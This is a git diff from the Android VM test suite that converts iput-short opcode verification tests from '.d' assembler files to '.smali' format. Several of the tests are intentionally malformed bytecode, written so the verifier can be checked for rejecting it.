@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_12.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_12;
+.super  Ljava/lang/Object;
+
+.field public  final st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_12;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_13.d
deleted file mode 100644
index 4472907..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_13.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_13.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_13
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-.method public run()V
-.limit regs 3
-
-       const v0, 0
-       const v1, 77
-       iput-short v1, v0, dot.junit.opcodes.iput_short.d.T_iput_short_13.st_i1 S
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_13.smali
new file mode 100644
index 0000000..9f3b892
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_13.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_13;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 3
+
+       const v0, 0
+       const v1, 77
+       iput-short v1, v0, Ldot/junit/opcodes/iput_short/d/T_iput_short_13;->st_i1:S
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_14.d
deleted file mode 100644
index f7b07c6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_14.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_14
-.super dot/junit/opcodes/iput_short/d/T_iput_short_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_short/d/T_iput_short_1/<init>()V
-       return-void
-.end method
-
-.method public  getProtectedField()S
-.limit regs 2
-
-       iget-short v0, v1, dot.junit.opcodes.iput_short.d.T_iput_short_1.st_p1 S
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_1.st_p1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_14.smali
new file mode 100644
index 0000000..29c10f8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_14.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_14;
+.super  Ldot/junit/opcodes/iput_short/d/T_iput_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()S
+.registers 2
+
+       iget-short v0, v1, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;->st_p1:S
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;->st_p1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_15.d
deleted file mode 100644
index 5732b91..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_15.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_15
-.super dot/junit/opcodes/iput_short/d/T_iput_short_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_short/d/T_iput_short_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 1
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_1.st_pvt1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_15.smali
new file mode 100644
index 0000000..451d1ba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_15.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_15;
+.super  Ldot/junit/opcodes/iput_short/d/T_iput_short_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;->st_pvt1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_17.d
deleted file mode 100644
index bd8966a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_17.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_17
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_17.st_i1 S
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_17.smali
new file mode 100644
index 0000000..6570533
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_17.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_17;->st_i1:S
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_18.d
deleted file mode 100644
index 5d543c4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_18.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_18
-.super java/lang/Object
-
-.field public  st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-short v1, v2, dot.junit.opcodes.iput_short.d.T_iput_short_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_18.smali
new file mode 100644
index 0000000..ee2906b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_18.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_2.d
deleted file mode 100644
index ae98945..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_2.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_2
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-short v0, v2, dot.junit.opcodes.iput_short.d.T_iput_short_4.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_2.smali
new file mode 100644
index 0000000..64bbfd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_2.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_2;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-short v0, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_4;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_20.d
deleted file mode 100644
index b7524dc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_20.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_20
-.super java/lang/Object
-
-.field public  st_o Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       iput-short v3, v3, dot.junit.opcodes.iput_short.d.T_iput_short_20.st_o Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_20.smali
new file mode 100644
index 0000000..943efa6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_short/d/T_iput_short_20;
+.super Ljava/lang/Object;
+.source "T_iput_short_20.java"
+
+
+# instance fields
+.field public st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    iput-short p0, p0, Ldot/junit/opcodes/iput_short/d/T_iput_short_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_21.d
deleted file mode 100644
index 7b80f03..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_21.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_21
-.super java/lang/Object
-
-.field public  st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 12    
-       iput-short v0, v3, dot.junit.opcodes.iput_short.d.T_iput_short_21.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_21.smali
new file mode 100644
index 0000000..36d67d1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_21.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_21;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       iput-short v0, v3, Ldot/junit/opcodes/iput_short/d/T_iput_short_21;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_22.d
deleted file mode 100644
index 4f969d5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_22.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_22
-.super java/lang/Object
-
-.field public  st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-short v0, v3, dot.junit.opcodes.iput_short.d.T_iput_short_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_22.smali
new file mode 100644
index 0000000..36f8d59
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_22.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-short v0, v3, Ldot/junit/opcodes/iput_short/d/T_iput_short_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_23.d
deleted file mode 100644
index 6f2cdc1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_23.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_23
-.super java/lang/Object
-
-.field public st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-short v0, v3, dot.junit.opcodes.iput_short.d.T_iput_short_23.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_23.smali
new file mode 100644
index 0000000..1e4e6df
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_23.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_23;
+.super  Ljava/lang/Object;
+
+.field public st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-short v0, v3, Ldot/junit/opcodes/iput_short/d/T_iput_short_23;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_24.d
deleted file mode 100644
index 326cd78..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_short_24.java
-.class public dot.junit.opcodes.iput_short.d.T_iput_short_24
-.super java/lang/Object
-
-.field public  st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-short v0, v3, dot.junit.opcodes.iput_short.d.T_iput_short_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_24.smali
new file mode 100644
index 0000000..ca18705
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_24.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_24;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
